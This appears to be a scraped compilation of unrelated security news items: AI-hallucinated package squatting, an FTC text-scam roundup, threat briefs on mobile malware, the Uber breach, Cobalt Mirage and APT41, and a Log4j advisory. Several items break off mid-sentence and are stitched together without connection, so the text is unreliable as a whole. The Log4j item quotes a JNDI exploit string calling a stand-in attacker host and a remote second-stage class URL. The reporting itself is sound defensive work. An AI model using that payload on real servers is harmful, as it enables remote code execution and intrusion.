Introduction:
The landscape of cybercrime continues to evolve, and cybercriminals are constantly seeking new methods to compromise software projects and systems. In a disconcerting development, cybercriminals are now capitalizing on AI-generated unpublished package names also known as “AI-Hallucinated packages” to publish malicious packages under commonly hallucinated package names. It should be noted that artificial hallucination is not a new phenomenon as discussed in [3]. This article sheds light on this emerging threat, wherein unsuspecting developers inadvertently introduce malicious packages into their projects through the code generated by AI.
AI-hallucinations:
Artificial intelligence (AI) hallucinations, as described [2], refer to confident responses generated by AI systems that lack justification based on their training data. Similar to human psychological hallucinations, AI hallucinations involve the AI system providing information or responses that are not supported by the available data. However, in the context of AI, hallucinations are associated with unjustified responses or beliefs rather than false percepts. This phenomenon gained attention around 2022 with the introduction of large language models like ChatGPT, where users observed instances of seemingly random but plausible-sounding falsehoods being generated. By 2023, it was acknowledged that frequent hallucinations in AI systems posed a significant challenge for the field of language models.
The exploitative process:
Cybercriminals begin by deliberately publishing malicious packages under commonly hallucinated names produced by large language machines (LLMs) such as ChatGPT within trusted repositories. These package names closely resemble legitimate and widely used libraries or utilities, such as the legitimate package ‘arangojs’ vs the hallucinated package ‘arangodb’ as shown in the research done by Vulcan [1].
The trap unfolds:
When developers, unaware of the malicious intent, utilize AI-based tools or large language models (LLMs) to generate code snippets for their projects, they inadvertently can fall into a trap. The AI-generated code snippets can include imaginary unpublished libraries, enabling cybercriminals to publish commonly used AI-generated imaginary package names. As a result, developers unknowingly import malicious packages into their projects, introducing vulnerabilities, backdoors, or other malicious functionalities that compromise the security and integrity of the software and possibly other projects.
Implications for developers:
The exploitation of AI-generated hallucinated package names poses significant risks to developers and their projects. Here are some key implications:
Trusting familiar package names: Developers commonly rely on package names they recognize to introduce code snippets into their projects. The presence of malicious packages under commonly hallucinated names makes it increasingly difficult to distinguish between legitimate and malicious options when relying on the trust from AI generated code.

[Eyes Open] The FTC Reveals the Latest Top Five Text Message Scams
The U.S. Federal Trade Commission (FTC) has published a data spotlight outlining the most common text message scams. Phony bank fraud prevention alerts were the most common type of text scam last year. "Reports about texts impersonating banks are up nearly tenfold since 2019 with median reported individual losses of $3,000 last year," the report says.
These are the top five text scams reported by the FTC:
Copycat bank fraud prevention alerts
Bogus "gifts" that can cost you
Fake package delivery problems
Phony job offers
Not-really-from-Amazon security alerts
"People get a text supposedly from a bank asking them to call a number ASAP about suspicious activity or to reply YES or NO to verify whether a transaction was authorized. If they reply, they\'ll get a call from a phony \'fraud department\' claiming they want to \'help get your money back.\' What they really want to do is make unauthorized transfers.
"What\'s more, they may ask for personal information like Social Security numbers, setting people up for possible identity theft."
Fake gift card offers took second place, followed by phony package delivery problems. "Scammers understand how our shopping habits have changed and have updated their sleazy tactics accordingly," the FTC says. "People may get a text pretending to be from the U.S. Postal Service, FedEx, or UPS claiming there\'s a problem with a delivery.
"The text links to a convincing-looking – but utterly bogus – website that asks for a credit card number to cover a small \'redelivery fee.\'"
Scammers also target job seekers with bogus job offers in an attempt to steal their money and personal information. "With workplaces in transition, some scammers are using texts to perpetrate old-school forms of fraud – for example, fake \'mystery shopper\' jobs or bogus money-making offers for driving around with cars wrapped in ads," the report says.
"Other texts target people who post their resumes on employment websites. They claim to offer jobs and even send job seekers checks, usually with instructions to send some of the money to a different address for materials, training, or the like. By the time the check bounces, the person\'s money – and the phony \'employer\' – are long gone."
Finally, scammers impersonate Amazon and send fake security alerts to trick victims into sending money. "People may get what looks like a message from \'Amazon,\' asking to verify a big-ticket order they didn\'t place," the FTC says. "Concerned |

Roaming Mantis Implements New DNS Changer in Its Malicious Mobile App in 2022
(published: January 19, 2023)
In December 2022, a financially-motivated group dubbed Roaming Mantis (Shaoye) continued targeting mobile users with malicious landing pages. iOS users were redirected to phishing pages, while Android users were provided with malicious APK files detected as XLoader (Wroba, Moqhao). Japan, Austria, France, and Germany were the most targeted for XLoader downloads (in that order). All but one targeted country had smishing as an initial vector. In South Korea, Roaming Mantis implemented a new DNS changer function. XLoader-infected Android devices were targeting specific Wi-Fi routers used mostly in South Korea. The malware would compromise routers with default credentials and change the DNS settings to serve malicious landing pages from legitimate domains.
Analyst Comment: The XLoader DNS changer function is especially dangerous in the context of free/public Wi-Fi that serve many devices. Install anti-virus software for your mobile device. Users should be cautious when receiving messages with a link or unwarranted prompts to install software.

Hook: a New Ermac Fork with RAT Capabilities
(published: January 19, 2023)
ThreatFabric researchers analyzed a new Android banking trojan named Hook. It is a rebranded development of the Ermac malware that was based on the Android banker Cerberus. Hook added new capabilities in targeting banking and cryptocurrency-related applications. The malware also added capabilities of a remote access trojan and a spyware. Its device take-over capabilities include being able to remotely view and interact with the screen of the infected device, manipulate files on the devices file system, simulate clicks, fill text boxes, and perform gestures. Hook can start the social messaging application WhatsApp, extract all the messages present, and send new ones.
Analyst Comment: Users should take their mobile device security seriously whether they use it for social messaging or actually provide access to their banking accounts and/or cryptocurrency holdings. Similar to its predecessors, Hook will likely be used by many threat actors (malware-as-as-service model). It means the need to protect from a wide range of attacks: smishing, prompts to install malicious apps, excessive |

Hacker Pwns Uber Via Compromised VPN Account
(published: September 16, 2022)
On September 15, 2022, ride-sharing giant Uber started an incident response after discovering a data breach. According to Group-IB researchers, download file name artifacts point to the attacker getting access to fresh keylogger logs affecting two Uber employees from Indonesia and Brazil that have been infected with Racoon and Vidar stealers. The attacker allegedly used a compromised VPN account credentials and performed multifactor authentication fatigue attack by requesting the MFA push notification many times and then making a social-engineering call to the affected employee. Once inside, the attacker allegedly found valid credentials for privilege escalation: a PowerShell script containing hardcoded credentials for a Thycotic privileged access management admin account. On September 18, 2022, Rockstar Games’ Grand Theft Auto 6 suffered a confirmed data leak, likely caused by the same attacker.
Analyst Comment: Network defenders can consider setting up alerts for signs of an MFA fatigue attack such as a large number of MFA requests in a relatively short period of time. Review your source code for embedded credentials, especially those with administrative privileges.

COBALT MIRAGE Conducts Ransomware Operations in U.S.
(published: May 12, 2022)
Secureworks researchers describe campaigns by Iran-sponsored group Cobalt Mirage. These actors are likely part of a larger group, Charming Kitten (Phosphorus, APT35, Cobalt Illusion). In 2022, Cobalt Mirage deployed BitLocker ransomware on a US charity systems, and exfiltrated data from a US local government network. Their ransomware operations appear to be a low-scale, hands-on approach with rare tactics such as sending a ransom note to a local printer. The group utilized its own custom binaries including a Fast Reverse Proxy client (FRPC) written in Go. It also relied on mass scanning for known vulnerabilities (ProxyShell, Log4Shell) and using commodity tools for encryption, internal scanning, and lateral movement.
Analyst Comment: However small your government or NGO organization is, it still needs protection from advanced cyber actors. Keep your system updated, and employ mitigation strategies when updates for critical vulnerabilities are not available.

2022-03-10 23:39:03 | APT41 Compromised Six U.S. State Government Networks (lien direct) | FortiGuard Labs is aware of a report that threat actor APT41 compromised at least six networks belonging to U.S. state governments between May 2021 and February 2022. To gain a foothold into the victim's network, the threat actor used a number of different attack vectors: exploiting vulnerable Internet facing web applications and directory traversal vulnerabilities, performing SQL injection, and conducting de-serialization attacks. The intent of APT41 appears to be reconnaissance, though how the stolen information is to be used has not yet been determined.Why is this Significant? This is significant because at least six U.S. state government systems were broken into and data exfiltration was performed by APT41 as recent as February 2022 In addition, a zero-day vulnerability in the USAHerds application (CVE-2021-44207) as well as Log4j (CVE-2021-44228), among others, were exploited in the attacksWhat's the Detail of the Attack?APT41 performed several different ways to break into the targeted networks.In one case, the group exploited a SQL injection vulnerability in a Internet-facing web application. In another case, a then previously unknown vulnerability (CVE-2021-44207) in USAHerds, which is a web application used by agriculture officials to manage animal disease control and prevention, livestock identification and movement. Also, APT41 reportedly started to exploit the infamous Log4j vulnerability (CVE-2021-44228) within hours of Proof-of-Concept (PoC) code becoming available. Patches for both vulnerabilities are available. Once successful in breaking into the victim's network, the threat actor performed reconnaissance and credential harvesting activities. What is APT41?APT41 is a threat actor who has been active since at least 2012. Also known as TA415, Double Dragon, Barium, GREF and WickedPanda, the group reportedly performs Chinese state-sponsored espionage activities. APT41 targets organizations in multiple countries across a wide range of industries, such as telecommunications, industrial and engineering and think tanks. In 2020, five alleged members of the group were charged by the U.S. Justice Department for hacking more than 100 companies in the United States.What are the Tools Used by APT41?APT41 is known to use the following tools:ASPXSpy - web shell backdoorBITSAdmin - PowerShell cmdlets for creating and managing file transfers.BLACKCOFFEE - backdoor that disguise its communications as benign traffic to legitimate websites certutil - command-line utility tool used for manipulating certification authority (CA) data and components.China Chopper - web shell backdoor that allows attacker to have remote access to an enterprise networkCobalt Strike - a commercial penetration testing tool, which allows users to perform a wide range of activitiesDerusbi - DLL backdoorEmpire - PowerShell post-exploitation agent, which provides a wide range of attack activities to usersgh0st RAT - Remote Access Trojan (RAT)MESSAGETAP - data mining malware Mimikatz - open-source credential dumpernjRAT - Remote Access Trojan (RAT)PlugX - Remote Access Trojan (RAT)PowerSploit - open-source, offensive security framework which allows users to perform a wide range of activitiesROCKBOOT - BootkitShadowPad - backdoorWinnti for Linux - Remote Access Trojan (RAT) for LinuxZxShell - Remote Access Trojan (RAT)Badpotato - open-source tool that allows elevate user rights towards System rightsDustPan - shellcode loader. aka StealthVectorDEADEYE - downloaderLOWKEY - backdoorKeyplug - backdoorWhat are Other Vulnerabilities Known to be Exploited by APT41?APT41 exploited the following, but not restricted to, these vulnerabilities in the past:CVE-2020-10189 (ManageEngine Desktop Central remote code execution vulnerability)CVE-2019-19781 (Vulnerability in Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliance)CVE-2019-3396 (Atlassian Confluence Widget Connector Macro Velocity Template Injection)CVE-2017-11882 (Microsoft Office Memory Corruption Vulnerability)CVE-2017-0199 (Microsoft Office/WordPad Remote Code Execut | Malware Tool Vulnerability Threat Guideline | APT 41 APT 15 APT 15 | |

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.
